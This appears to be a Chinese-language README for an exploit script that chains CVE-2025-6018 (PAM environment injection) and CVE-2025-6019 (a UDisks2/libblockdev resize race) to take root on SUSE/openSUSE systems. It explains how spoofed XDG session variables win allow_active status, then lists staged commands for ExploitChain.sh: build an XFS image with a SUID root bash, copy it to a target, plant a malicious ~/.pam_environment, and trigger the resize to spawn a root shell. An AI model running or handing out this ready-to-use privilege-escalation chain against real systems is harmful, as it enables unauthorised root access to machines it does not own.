https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
该漏洞利用链结合了 CVE-2025-6018 和 CVE-2025-6019,实现从无特权的普通用户到拥有 root 权限的本地提权,针对存在漏洞的 SUSE/openSUSE 系统。CVE-2025-6018 是 PAM(可插拔认证模块)中的环境变量注入漏洞,存在于 pam_env.so(版本 1.3.0-1.6.0)中,允许用户通过 ~/.pam_environment 文件使用 OVERRIDE 指令污染其会话环境。通过操纵 XDG 会话变量(XDG_SEAT、XDG_VTNR、XDG_SESSION_TYPE),攻击者可以欺骗 systemd-logind 授予 allow_active 的 PolicyKit 权限,使远程 SSH 会话看起来像本地物理会话。一旦获得 allow_active 状态,就可以利用 CVE-2025-6019:此漏洞存在于 UDisks2/libblockdev 中,允许拥有 allow_active 权限的用户通过 Filesystem.Resize D-Bus 方法中的竞争条件,使用特权挂载选项(exec、suid)挂载文件系统。当对包含精心构造的 XFS 文件系统(内含 SUID root bash 二进制文件)的循环设备触发 resize 操作时,libblockdev 会自动挂载文件系统以执行 resize,但由于 resize 错误而未能卸载它,从而将 SUID bash 留在 /tmp/blockdev*/ 中,随后可执行该 bash 以获得 root shell。
sudo ./ExploitChain.sh stage1 [output_path]
# Default: ./xfs.image
# 创建 300MB 的 XFS 文件系统,内含 SUID root bash
scp xfs.image user@<target_ip>:/tmp/
./ExploitChain.sh stage2
# 创建带有恶意 XDG 变量的 ~/.pam_environment 文件
# 必须退出登录并重新登录以触发 PAM 处理
logout
ssh user@<target_ip>
# PAM 在登录时处理 ~/.pam_environment
# systemd-logind 授予 allow_active 状态
./ExploitChain.sh stage3 /tmp/xfs.image
# 利用 UDisks2 Filesystem.Resize 漏洞
# 挂载包含 SUID bash 的 XFS 映像
# 生成 root shell
# 在 Kali 上(自动检测 root 并运行 stage1)
sudo ./Exploit-6018-Chain-6019-v3.sh auto
# 在目标上(自动检测阶段并运行 stage2/stage3)
./ExploitChain.sh auto /tmp/xfs.image
./ExploitChain.sh help